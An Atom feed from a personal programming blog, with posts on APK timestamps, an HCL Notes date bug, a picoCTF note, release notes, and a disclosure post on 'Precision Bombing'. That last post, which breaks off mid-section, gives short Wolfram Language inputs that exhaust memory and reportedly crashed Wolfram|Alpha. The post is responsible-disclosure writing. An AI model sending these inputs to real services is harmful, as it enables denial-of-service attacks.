<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://bostick.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://bostick.github.io/" rel="alternate" type="text/html" /><updated>2026-03-10T12:31:54+00:00</updated><id>https://bostick.github.io/feed.xml</id><title type="html">Between Zero and One</title><author><name>Brenton Bostick</name></author><entry><title type="html">What happened on January 1, 1981 at 1:01:02 am?</title><link href="https://bostick.github.io/blog/2026/02/what-happened/" rel="alternate" type="text/html" title="What happened on January 1, 1981 at 1:01:02 am?" /><published>2026-02-23T19:00:00+00:00</published><updated>2026-02-23T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2026/02/what-happened</id><content type="html" xml:base="https://bostick.github.io/blog/2026/02/what-happened/"><![CDATA[<p>Today I noticed that files extracted from an APK file all have a modification date time of January 1, 1981 1:01.</p>

<p><img src="/assets/images/1981-1-1/timestamp.png" alt="output" /></p>

<p>Actually, including seconds, it is January 1, 1981 1:01:02.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brenton@Brentons-Pieces-M3-MacBook-Pro spacehockey % ls -alT app/build/outputs/apk/release/app-release/ 
total 2944
drwx------@  14 brenton  staff      448 Feb 23 16:20:36 2026 .
drwxr-xr-x@   7 brenton  staff      224 Feb 23 16:19:43 2026 ..
-rw-r--r--@   1 brenton  staff     6148 Feb 23 16:20:36 2026 .DS_Store
-rw-rw-r--    1 brenton  staff    10572 Jan  1 01:01:02 1981 AndroidManifest.xml
drwxr-xr-x   25 brenton  staff      800 Feb 23 16:19:43 2026 assets
-rw-r--r--    1 brenton  staff  1342700 Jan  1 01:01:02 1981 classes.dex
-rw-rw-r--    1 brenton  staff     1738 Jan  1 01:01:02 1981 DebugProbesKt.bin
drwxr-xr-x    3 brenton  staff       96 Feb 23 16:19:43 2026 google
drwxr-xr-x    3 brenton  staff       96 Feb 23 16:19:43 2026 io
drwxr-xr-x    9 brenton  staff      288 Feb 23 16:19:43 2026 kotlin
drwxr-xr-x    6 brenton  staff      192 Feb 23 16:19:43 2026 lib
drwxr-xr-x   44 brenton  staff     1408 Feb 23 16:19:43 2026 META-INF
drwxr-xr-x  266 brenton  staff     8512 Feb 23 16:19:43 2026 res
-rw-rw-r--    1 brenton  staff   138724 Jan  1 01:01:02 1981 resources.arsc
</code></pre></div></div>

<p>That is a peculiar date time! I can imagine that the tooling for APK files would want to timestamp all files with a consistent date time for security and build reproducibility. And I can even imagine that filling all fields (year, month, day) and (hour, minute, second) with 1 would be a good date time to use.</p>

<p>But the second value is 2 and not 1. What is going on?</p>

<p>After some searching, I found this issue:</p>

<p><a href="https://github.com/google/bundletool/issues/316">Incorrect timestamp when unzipping universal apk</a></p>

<p>The comments in that issue confirm that this is intentional behavior, but the question remains: why this particular date time?</p>

<p>I looked through the sources of bundletool and found this line:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>private static final long ZIPFLINGER_ZIP_TIMESTAMP = 347158862000L;
</code></pre></div></div>

<p>January 1, 1981 1:01:02 is 347158862 seconds since January 1, 1970.</p>

<p>Fine. So it seems like something called ZipFlinger is doing the actual timestamping of files in the APK and that is where January 1, 1981 1:01:02 is coming from.</p>

<p>More searching. Find Zipflinger.</p>

<p>From the <a href="https://android.googlesource.com/platform/tools/base/+/refs/heads/mirror-goog-studio-master-dev/zipflinger/">docs</a>:</p>

<blockquote>
  <p>Zipflinger is a library dedicated to ZIP files manipulation. It can create an archive from scratch but also add/remove entries without decompressing/compressing the whole archive.</p>
</blockquote>

<p>Looking through the <a href="https://android.googlesource.com/platform/tools/base/+/refs/heads/mirror-goog-studio-master-dev/zipflinger/src/com/android/zipflinger/CentralDirectoryRecord.java">sources</a> for Zipflinger, I find:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// JDK 9 consider time&amp;data field with value 0 as invalid. Use 1 instead.
// These are in MS-DOS 16-bit format. For actual specs, see:
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724247(v=vs.85).aspx
public static final short DEFAULT_TIME = 1 | 1 &lt;&lt; 5 | 1 &lt;&lt; 11;
public static final short DEFAULT_DATE = 1 | 1 &lt;&lt; 5 | 1 &lt;&lt; 9;
</code></pre></div></div>

<p>Aha!</p>

<p>The date and time values are 16-bit shorts that set 1 bits at particular locations.</p>

<p>What is MS-DOS 16-bit format ?</p>

<p>We can see <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-dosdatetimetofiletime">here</a> that MS-DOS dates look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000001000100001
           ^~~~~
           day of month
       ^~~~
       month
^~~~~~~
year offset from 1980
</code></pre></div></div>

<p>and MS-DOS times look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000100000100001
           ^~~~~
           second / 2
     ^~~~~~
     minute
^~~~~
hour
</code></pre></div></div>

<p>Interesting! MS-DOS time has resolution of 2 seconds.</p>

<p>That explains the strange 1:01:02 time from the beginning. January 1, 1981 1:01:02 is the date time you get when all fields in MS-DOS date time are filled in with 1s.</p>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[Today I noticed that files extracted from an APK file all have a modification date time of January 1, 1981 1:01.]]></summary></entry><entry><title type="html">What have I been working on?</title><link href="https://bostick.github.io/blog/2025/09/what-have-i/" rel="alternate" type="text/html" title="What have I been working on?" /><published>2025-09-30T19:00:00+00:00</published><updated>2025-09-30T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2025/09/what-have-i</id><content type="html" xml:base="https://bostick.github.io/blog/2025/09/what-have-i/"><![CDATA[<p>Precisely one year ago, I started working in earnest on an idea that I have been thinking about for a long time.</p>

<p><img src="/assets/images/raylib.png" alt="raylib" width="500" /></p>

<h2 id="elevator-pitch">Elevator pitch</h2>

<p>Imagine that you are sitting at a table with friends, like in a dining room or at a bar. You lay your mobile devices side-by-side and start playing a game.</p>

<p>Something like Air Hockey or Breakout being played across the screens of your devices.</p>

<p><img src="/assets/images/output.gif" alt="output" width="500" /></p>

<p>This is Space Hockey, and it’s what I’ve been working on.</p>

<h2 id="my-vision">My vision</h2>

<p>Inspired by the multiplayer games of my youth, I want to create a new kind of gaming experience.</p>

<p><img src="/assets/images/Duo_gameboy.JPG" alt="output" width="500" /></p>

<p>Everyone has a mobile device nowadays.</p>

<p>Our mobile devices are physical artifacts in the real world.</p>

<p>Why not use the physical aspects of our devices for gaming?</p>

<p>I want a new kind of game.</p>

<p>Ad-hoc and spontaneous.</p>

<p>The games are impromptu and are different depending on which devices are used.</p>

<p>Devices are different shapes and sizes and every combination is different.</p>

<p>But more than a single game, I want to make a platform, a platform for mobile-first gaming.</p>

<h2 id="details">Details</h2>

<p>How do the devices connect?</p>

<p>How do games look good across screens with different resolutions?</p>

<p>How many different devices can be connected? 2? 3? more?</p>

<p>These are all problems that need to be solved and I am solving them.</p>

<p>An insane amount of engineering has been done to ensure that games work in hostile Wi-Fi environments.</p>

<h2 id="timeline">Timeline</h2>

<p>Like how Doom and Quake were fun games and impressive tech demos, I want Space Hockey to be a fun game and an impressive tech demo.</p>

<p>I am slowly releasing milestones of Space Hockey.</p>

<p>The current plan is to release the simplest thing that can work: Android only, 2 devices, same Wi-Fi network.</p>

<p>After the actual Android release, there will be an iOS release, and perhaps other platforms like Windows.</p>

<p>Then there will be work to not require an existing Wi-Fi network, and instead have devices talk directly to each other with Wi-Fi Aware.</p>

<p>And then of course, supporting more than 2 devices.</p>

<h2 id="check-it-out">Check it out!</h2>

<p>I have a channel where I post milestones: <a href="https://www.youtube.com/@haltingsoftware">https://www.youtube.com/@haltingsoftware</a></p>

<p>I also want in-person play testing, so email me at <a href="mailto:haltingsoftware@gmail.com">haltingsoftware@gmail.com</a> if you want to be added to the Google Play internal testing group for Android.</p>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[Precisely one year ago, I started working in earnest on an idea that I have been thinking about for a long time.]]></summary></entry><entry><title type="html">What happened on December 13, 2024?</title><link href="https://bostick.github.io/blog/2025/04/what-happened/" rel="alternate" type="text/html" title="What happened on December 13, 2024?" /><published>2025-04-05T19:00:00+00:00</published><updated>2025-04-05T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2025/04/what-happened</id><content type="html" xml:base="https://bostick.github.io/blog/2025/04/what-happened/"><![CDATA[<p>I collect root causes of <a href="/databases/troublesome-dates/">date / time bugs</a> and I just solved one that was driving me crazy!</p>

<h2 id="background">Background</h2>

<p>I was looking through <a href="https://en.wikipedia.org/wiki/Time_formatting_and_storage_bugs#Year_2024">Wikipedia’s list of time formatting and storage bugs</a> when I noticed an entry for December 2024:</p>

<blockquote>
  <p>In December 2024, a 30-year-old bug was found in all versions of HCL Notes. When the server is started on or after December 13, 2024, an overflow would prevent the mail router from loading its configuration, and so no mail is delivered. Patches were released on the next day for all supported versions.</p>
</blockquote>

<p>With a reference that goes here:</p>

<p><a href="https://support.hcl-software.com/csm?id=kb_article&amp;sysparm_article=KB0118192">CRITICAL ALERT: Mail not routing after Domino restarts beginning December 13, 2024</a></p>

<p>The page mentions:</p>

<blockquote>
  <p>The date/time issue made the TimeDateDifference() internal call return incorrect results under certain conditions, and dates back to the core Notes program in 1986.</p>
</blockquote>

<p>But no actual root cause analysis is provided.</p>

<p>A common source of date / time bugs is overflow, where the date or time eventually grows too large to be contained by its storage, and is then treated as negative or as an error.</p>

<p>I wonder if what happened on December 13, 2024 was an overflow problem or something else?</p>

<p>Interesting. I have been nerd-sniped.</p>

<h2 id="initial-research">Initial research</h2>

<p>I do not have a copy of Notes or Domino to reverse-engineer and it is unlikely that I will get copies. I must work through public sources of information.</p>

<p>What is the <code class="language-plaintext highlighter-rouge">TimeDateDifference</code> function that is mentioned in the alert?</p>

<p>Here is its documentation:</p>

<p><a href="https://opensource.hcltechsw.com/domino-c-api-docs/reference/Func/TimeDateDifference/">https://opensource.hcltechsw.com/domino-c-api-docs/reference/Func/TimeDateDifference/</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;misc.h&gt;
LONG LNPUBLIC TimeDateDifference(
    const TIMEDATE far *t1,
    const TIMEDATE far *t2);
</code></pre></div></div>

<p>And documentation for the <code class="language-plaintext highlighter-rouge">TIMEDATE</code> struct is here:</p>

<p><a href="https://opensource.hcltechsw.com/domino-c-api-docs/reference/Data/TIMEDATE/">https://opensource.hcltechsw.com/domino-c-api-docs/reference/Data/TIMEDATE/</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>typedef struct tagTIMEDATE {
   DWORD Innards[2];
} TIMEDATE;
</code></pre></div></div>

<p>Hmmm, no real documentation for the structure of <code class="language-plaintext highlighter-rouge">TIMEDATE</code>.</p>

<h2 id="more-research">More research</h2>

<p>There are other date / time related support pages from HCL:</p>

<p><a href="https://support.hcl-software.com/csm?id=kb_article&amp;sysparm_article=KB0039502">Error “Unable to interpret time or date” when entering specific dates from the year 1752</a></p>

<p>There is special handling for invalid dates in the Gregorian Calendar.</p>

<p>Maybe the bug is related to the year 1752 and Gregorian calendar?</p>

<p>The number of seconds from September 1752 to Dec 13 2024 is roughly 2^33, but the days don’t line up with anything significant.</p>

<p>Some Wolfram Language code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[1]:= FromUnixTime[UnixTime[{2024, 12, 13}] - 2^33]

Out[1]= Fri 29 Sep 1752 11:03:28GMT-4
</code></pre></div></div>

<p>(The functions <code class="language-plaintext highlighter-rouge">UnixTime</code> and <code class="language-plaintext highlighter-rouge">FromUnixTime</code> are a convenient way to convert between dates and seconds.)</p>

<p>The coincidence of September 1752 and 2^33 seconds is tantalizingly close, but not close enough for my liking.</p>

<p>2^33 is not likely to be significant to date / time code from the 1980s and September 29 1752 has no actual significance.</p>

<p>Maybe related to <a href="https://en.wikipedia.org/wiki/Michaelmas_Day">Michaelmas</a>?</p>

<h2 id="in-the-mean-time">In the mean time</h2>

<p>I left a comment on HCL’s Community forum for the December 13 bug:</p>

<p><a href="https://support.hcl-software.com/community?id=community_blog&amp;sys_id=4a7f878047a69e5033723c5c716d4379">https://support.hcl-software.com/community?id=community_blog&amp;sys_id=4a7f878047a69e5033723c5c716d4379</a></p>

<p>But did not receive a reply from HCL.</p>

<p>I also sent an email to <a href="https://www.origina.com/blog/origina-experts-develop-hcl-domino-bug-fix-regardless-of-version-or-support-status">Origina</a> but did not receive a reply.</p>

<h2 id="more-research-1">More research</h2>

<p>A breakthrough!</p>

<p>Daniel Nashed’s excellent blog explained several things:</p>

<p><a href="https://blog.nashcom.de/nashcomblog.nsf/dx/notes-timedate-explained.htm">Notes Timedate explained</a></p>

<p><code class="language-plaintext highlighter-rouge">TIMEDATE</code> uses <a href="https://en.wikipedia.org/wiki/Julian_day">Julian Dates</a>.</p>

<p>OK, some things are making sense.</p>

<p>Julian Dates start counting from January 1, 4713 BC (Julian Calendar).</p>

<p>We do not know the exact time that the problem occurred, so let’s look at the Julian Dates for December 13 and December 14 and see if anything interesting happens between them.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[2]:= Block[{$TimeZone = 0},
           Floor[JulianDate[{2024, 12, 13, 12, 0, 0}]]
         ]

Out[2]= 2460658
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[3]:= Block[{$TimeZone = 0},
           Floor[JulianDate[{2024, 12, 14, 12, 0, 0}]]
         ]

Out[3]= 2460659
</code></pre></div></div>

<p>The Julian Date for December 13, 2024 is 2460658.</p>

<p>The Julian Date for December 14, 2024 is 2460659.</p>

<p>The number of seconds since the Julian Date epoch to December 13, 2024:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[4]:= december13JulianSeconds = 2460658 * 24 * 60 * 60

Out[4]= 212600851200
</code></pre></div></div>

<p>The number of seconds since the Julian Date epoch to December 14, 2024:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[5]:= december14JulianSeconds = 2460659 * 24 * 60 * 60

Out[5]= 212600937600
</code></pre></div></div>

<p>What are these values in binary?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[6]:= IntegerString[december13JulianSeconds, 2]

Out[6]= 11000101111111111111111000101100000000
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[7]:= IntegerString[december14JulianSeconds, 2]

Out[7]= 11000110000000000000001101110010000000
</code></pre></div></div>

<p>Wait. It looks like a lot of bits get flipped when going from December 13 to December 14.</p>

<p>These values are 38 bits. What are the values when truncated to 32 bits?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[8]:= IntegerString[212600851200, 2, 32]

Out[8]= 01111111111111111000101100000000
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[9]:= IntegerString[212600937600, 2, 32]

Out[9]= 10000000000000001101110010000000
</code></pre></div></div>

<p>Ah ha!</p>

<p>The MSB is flipping from 0 to 1 when counting seconds from December 13 to December 14.</p>

<p>Everything makes sense now.</p>

<p>My current hypothesis:</p>

<p>On December 13, 2024 at 8:19:12am (29952 seconds after midnight), the number of seconds since the Julian Date epoch flipped from being positive to being negative in signed 32-bit storage.</p>

<p>Accidentally treating time as negative is a classic cause of date / time bugs.</p>

<p>I hesitate to say “overflow” because it first overflowed January 19, 4645 BC (Julian calendar) and after that, every ~68.1 years, has been alternating between being stored as positive and being stored as negative.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[8]:= 2^31 / 60 / 60 / 24 / 365 // N

Out[8]= 68.0963
</code></pre></div></div>

<p>We just happened to be in a window of ~68.1 years where the time was stored as positive.</p>

<p>The previous flip was November 25, 1956, where dates flipped from negative to positive.</p>

<p>This flip was December 13, 2024, where dates flipped from positive to negative.</p>

<p>The next flip will be December 31, 2092, where dates will flip from negative to positive again.</p>

<p>This is the same problem as the upcoming <a href="https://en.wikipedia.org/wiki/Year_2038_problem">Year 2038 problem</a>, just shifted.</p>

<p>Counting the number of seconds from January 1, 1970 will get to January 19, 2038 before flipping from positive to negative in signed 32-bit storage.</p>

<p>January 19, 2038 will be the first flip since the Unix epoch. But December 13, 2024 was the 99th flip since the Julian Date epoch!</p>

<p>FYI, the <code class="language-plaintext highlighter-rouge">FromUnixTime</code> and <code class="language-plaintext highlighter-rouge">UnixTime</code> functions from above use arbitrary-precision numbers and do not run into the 32-bit limitations discussed here.</p>

<p>As long as the arguments to <code class="language-plaintext highlighter-rouge">TimeDateDifference</code> are in the same positive window (e.g., between November 25, 1956 (after the flip) and December 13, 2024 (before the flip)), then <code class="language-plaintext highlighter-rouge">TimeDateDifference</code> probably works fine. This is probably what the critical alert meant when it said:</p>
<blockquote>
  <p>The date/time issue made the TimeDateDifference() internal call return incorrect results under certain conditions, and dates back to the core Notes program in 1986.</p>
</blockquote>

<p>But I am surprised that it took until the actual flipping date to notice the problem. Apparently no dates before and after December 13, 2024 were ever differenced. Or maybe they were and nobody noticed?</p>

<h2 id="summary">Summary</h2>

<p>With minimal information, we were able to figure out what happened on December 13, 2024 with high likelihood.</p>

<p>There was a massive red herring to do with September 1752 and the switch to the Gregorian Calendar. But that is part of the fun of figuring these things out.</p>

<p>Ultimately, the number of seconds from the Julian Date epoch flipping signs in signed 32-bit storage every ~68.1 years explains the problem satisfactorily.</p>

<!--

## references





Notes TIMEDATE


00000000000000000000000000000000 00000000000000000000000000000000
^^^^^^^^^^^^^^^^^^^ bits 32 - 63
1/100 seconds since midnight
                                 ^ bit 31
                                 Daylight Saving Time is observed (DST_MASK)
                                  ^ bit 30
                                  time zone is east of Greenwich mean time
                                   ^^ bits 28 - 29
                                   number of 15-minute intervals in the difference.
                                     ^^^^ bits 24 - 27 (ZONE_MASK)
                                     number of hours difference between the time zone and Greenwich mean time;
                                         ^^^^^^^^^^^^^^^^^^^^^^^^ bits 0 - 23 (DATE_MASK)
                                         Julian Day, number of days since January 1, 4713 BC


https://github.com/libyal/libnsfdb/blob/main/documentation/Notes%20Storage%20Facility%20(NSF)%20database%20file%20format.asciidoc#31-nsf-date-and-time


 -->]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[I collect root causes of date / time bugs and I just solved one that was driving me crazy!]]></summary></entry><entry><title type="html">picoCTF 2025</title><link href="https://bostick.github.io/blog/2025/03/picoctf/" rel="alternate" type="text/html" title="picoCTF 2025" /><published>2025-03-18T19:00:00+00:00</published><updated>2025-03-18T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2025/03/picoctf</id><content type="html" xml:base="https://bostick.github.io/blog/2025/03/picoctf/"><![CDATA[<p>I participated in <a href="https://play.picoctf.org/events/74">picoCTF 2025</a> and did not know what to expect.</p>

<p>This was my first CTF and I think that it was a good introduction to these kinds of events.</p>

<p>A lot of the challenges were straightforward.</p>

<p>I completed Shuffle, Chalkboard and had started to sink my teeth into the Sage challenge, when I came back the next morning to find that there was a message saying that the Sage, Outpost, MSS-Advance, Shuffle, and Chalkboard challenges had been removed.</p>

<p>This was frustrating because of the wasted time spent on solved challenges.</p>

<p>I had even started progress on Sage, but oh well:</p>

<ul>
  <li>
    <p><a href="https://latticehacks.cr.yp.to/rsa.html">LatticeHacks</a></p>
  </li>
  <li>
    <p><a href="https://crypto.stackexchange.com/questions/95467/factoring-a-rsa-modulus-given-parts-of-a-factor">Factoring a RSA modulus given parts of a Factor</a></p>
  </li>
</ul>

<p>I really only worked from March 7 to March 11 and I got rank 710.</p>

<p>I was working on the Echo Valley challenge, but I could never get the return address correctly overwritten. Probably related to ASLR.</p>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[I participated in picoCTF 2025 and did not know what to expect.]]></summary></entry><entry><title type="html">tbt-parser 1.3.0 is released</title><link href="https://bostick.github.io/blog/2024/09/tbt-parser-1-3-0/" rel="alternate" type="text/html" title="tbt-parser 1.3.0 is released" /><published>2024-09-12T19:00:00+00:00</published><updated>2024-09-12T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/09/tbt-parser-1-3-0</id><content type="html" xml:base="https://bostick.github.io/blog/2024/09/tbt-parser-1-3-0/"><![CDATA[<p><a href="https://github.com/bostick/tbt-parser/releases/tag/v1.3.0">tbt-parser 1.3.0</a> is released.</p>

<p>Here are the release notes:</p>

<ul>
  <li>Added options for emitting ControlChange events, ProgramChange events, and PitchBend events</li>
</ul>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[tbt-parser 1.3.0 is released.]]></summary></entry><entry><title type="html">tbt-parser 1.2.0 is released</title><link href="https://bostick.github.io/blog/2024/08/tbt-parser-1-2-0/" rel="alternate" type="text/html" title="tbt-parser 1.2.0 is released" /><published>2024-08-25T19:00:00+00:00</published><updated>2024-08-25T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/08/tbt-parser-1-2-0</id><content type="html" xml:base="https://bostick.github.io/blog/2024/08/tbt-parser-1-2-0/"><![CDATA[<p><a href="https://github.com/bostick/tbt-parser/releases/tag/v1.2.0">tbt-parser 1.2.0</a> is released.</p>

<p>Here are the release notes:</p>

<ul>
  <li>Tablature can now be printed</li>
  <li>Muted notes</li>
  <li>Track volume is exported using CC7, instead of note velocity</li>
  <li>Custom Lyric events may be used to trigger callbacks in FluidSynth</li>
  <li>Fix wall clock time formatting and better midi file info</li>
  <li>Lots of small improvements</li>
</ul>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[tbt-parser 1.2.0 is released.]]></summary></entry><entry><title type="html">Golly 1.4 for Android released</title><link href="https://bostick.github.io/blog/2024/07/golly-released/" rel="alternate" type="text/html" title="Golly 1.4 for Android released" /><published>2024-07-28T19:00:00+00:00</published><updated>2024-07-28T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/07/golly-released</id><content type="html" xml:base="https://bostick.github.io/blog/2024/07/golly-released/"><![CDATA[<p><a href="https://conwaylife.com/forums/viewtopic.php?f=7&amp;t=6638">Golly 1.4 for Android released</a></p>

<p>Release notes:</p>
<ul>
  <li>Two-finger pinching can be used to change the font size in the Open/Help/Rule screens.</li>
  <li>Fixed a problem with the Open screen’s font size being too large on small devices.</li>
  <li>Fixed an error that prevented Rule info from being displayed.</li>
  <li>Fixed a bug that could prevent pasting into a bounded grid.</li>
  <li>Most links in Help &gt; Online Archives and References should now work (some will fail if using Android 7 or older).</li>
  <li>Supplied patterns no longer include .lua/zip/rle3 files.</li>
</ul>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[Golly 1.4 for Android released]]></summary></entry><entry><title type="html">Moving On</title><link href="https://bostick.github.io/blog/2024/06/moving-on/" rel="alternate" type="text/html" title="Moving On" /><published>2024-06-03T19:00:00+00:00</published><updated>2024-06-03T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/06/moving-on</id><content type="html" xml:base="https://bostick.github.io/blog/2024/06/moving-on/"><![CDATA[<p><img src="/assets/images/moving-on2.png" alt="moving on" width="500" usemap="#moving-on" /></p>

<map name="moving-on">
  <area shape="rect" coords="0,0,250,223" alt="ZeroTier" href="https://www.zerotier.com" />
  <area shape="rect" coords="250,0,500,223" alt="Pieces" href="https://www.pieces.app" />
</map>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Golly 4.3 released (and Golly 1.3 for Android)</title><link href="https://bostick.github.io/blog/2024/05/golly-released/" rel="alternate" type="text/html" title="Golly 4.3 released (and Golly 1.3 for Android)" /><published>2024-05-22T19:00:00+00:00</published><updated>2024-05-22T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/05/golly-released</id><content type="html" xml:base="https://bostick.github.io/blog/2024/05/golly-released/"><![CDATA[<p><a href="https://sourceforge.net/p/golly/mailman/message/58774845/">Golly 4.3 released (and Golly 1.3 for Android)</a></p>

<p>Over the last several weeks, I have been working with Andrew Trevorrow to update the Android build of Golly.</p>

<p>Bit rot is real, and can be easily seen by trying to open an Android Studio project that has not been updated for a few years.</p>

<p>I have updated everything in the Android Studio project and even fixed a few bugs along the way.</p>]]></content><author><name>Brenton Bostick</name></author><summary type="html"><![CDATA[Golly 4.3 released (and Golly 1.3 for Android)]]></summary></entry><entry><title type="html">Precision Bombing in Wolfram Language</title><link href="https://bostick.github.io/blog/2024/05/precision-bombing/" rel="alternate" type="text/html" title="Precision Bombing in Wolfram Language" /><published>2024-05-13T19:00:00+00:00</published><updated>2024-05-13T19:00:00+00:00</updated><id>https://bostick.github.io/blog/2024/05/precision-bombing</id><content type="html" xml:base="https://bostick.github.io/blog/2024/05/precision-bombing/"><![CDATA[<p>I entered this input into <a href="https://www.wolframalpha.com/">Wolfram|Alpha</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1*^-1355718576299609
</code></pre></div></div>

<p>and after ~90 seconds, a broken page was returned.</p>

<p><img src="/assets/images/precision-bombing/screenshot1.png" alt="precision bombing screenshot 1" width="500" /></p>

<p>This is most likely because the underlying Wolfram Language kernel process crashes due to memory exhaustion.</p>

<p>Relatedly, I entered this input into <a href="https://www.wolframalpha.com/">Wolfram|Alpha</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1.0`90071992
</code></pre></div></div>

<p>and after ~15 seconds, a page was returned saying:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Interpreting as: 90071992
</code></pre></div></div>

<p><img src="/assets/images/precision-bombing/screenshot2.png" alt="precision bombing screenshot 1" width="500" /></p>

<p>This is odd, because the notation <code class="language-plaintext highlighter-rouge">1.0`90071992</code> is WL notation for specifying <code class="language-plaintext highlighter-rouge">1.0</code> with <code class="language-plaintext highlighter-rouge">90071992</code> digits of precision.</p>

<p>Both of these results are odd, but the first is more severe because it may be used in a denial-of-service attack against Wolfram|Alpha.</p>

<h2 id="following-responsible-disclosure">Following responsible disclosure</h2>

<p>On Tues Feb 13 2024, I sent:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I have found inputs that make Wolfram|Alpha seemingly hang or become unresponsive, which could be used in a DoS attack.

This is because of the nature of Real number parsing in Wolfram Language where numbers such as:

1*^-1355718576299609

1.0`90071992

will take HUGE amounts of memory.

And this happens during parsing, before any evaluation takes place.

With these inputs, I have seen W|A hang for ~90 seconds and just return junk.

Care must be taken to handle these exceptional cases.

It seems that the input 1*^1355718576299609 is handled correctly, so perhaps whatever mechanism is already handling that could be made to handle the Rational case above.

And Real numbers could be scanned for too large precision before proceeding.

Brenton
(former Wolfram employee)
</code></pre></div></div>

<p>and received this automated response:</p>

<p><img src="/assets/images/precision-bombing/response.png" alt="precision bombing response" width="500" /></p>

<p>I waited 90 days for a response or at least a fix to Wolfram|Alpha. Neither happened, so I am publicly disclosing the issue now.</p>

<h2 id="background">Background</h2>

<p>Wolfram Language has arbitrary-precision number literals built into the language.</p>

<p>Other languages, such as Java and Python, also have arbitrary-precision numbers, but do not have a literal syntax for them.</p>

<p><a href="https://reference.wolfram.com/language/tutorial/InputSyntax.html">Wolfram Language syntax</a> is very complex, but the gist is that these 3 digits in the precision:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[1]:= 1`100

Out[1]= 1.0000000000000000000000000000000000000000000000000000000000000000000000000000\
000000000000000000000000
</code></pre></div></div>

<p>give an output with 100 digits of precision.</p>

<p>And these 3 digits in the exponent:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[107]:= 1*^100

Out[107]= 100000000000000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000
</code></pre></div></div>

<p>give an output with 100 digits.</p>

<p>The size of the output depends on the <em>value</em> of the given precision or the exponent.</p>

<p>We can make small inputs turn into very large outputs. This is important to understand.</p>

<p>The memory use is proportional to the <em>value</em> of the specified precision, so increasing the size of the input by 1 byte results in <code class="language-plaintext highlighter-rouge">~10x</code> increase in memory use, increasing the size of the input by 2 bytes results in <code class="language-plaintext highlighter-rouge">~100x</code> increase in memory use, etc.</p>

<p>Continuing to increase the size of the input even more will consume much, much more memory.</p>

<p>A specially-crafted input may exhaust system memory, cause WL-specific <code class="language-plaintext highlighter-rouge">SystemException</code>s to be thrown, or to crash the kernel.</p>

<h2 id="no-evaluation-only-parsing">No evaluation, only parsing</h2>

<p>Wolfram Languages’s input syntax for real numbers allows large amounts of memory to be consumed, even before any evaluation has occurred.</p>

<p>Here is a demo in Mathematica:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In[1]:= MaxMemoryUsed[ToExpression["1.0`123456789;ignore", InputForm, Hold]]

Out[1]= 102536464
</code></pre></div></div>

<p>The 13 bytes input <code class="language-plaintext highlighter-rouge">1.0`123456789</code> consumes <code class="language-plaintext highlighter-rouge">~100MB</code> of memory.</p>

<p>The <code class="language-plaintext highlighter-rouge">ignore</code> is to ensure that the result does not leak out as a return value in any way and the <code class="language-plaintext highlighter-rouge">Hold</code> is to ensure that the input is not evaluated.</p>

<p>Because this attack is reminiscent of <a href="https://en.wikipedia.org/wiki/Zip_bomb">Zip bombing</a>, I am naming this attack Precision Bombing.</p>

<h2 id="precision-bombing-and-exponent-bombing">Precision Bombing (and Exponent Bombing)</h2>

<p>In Mathematica 13.2:</p>
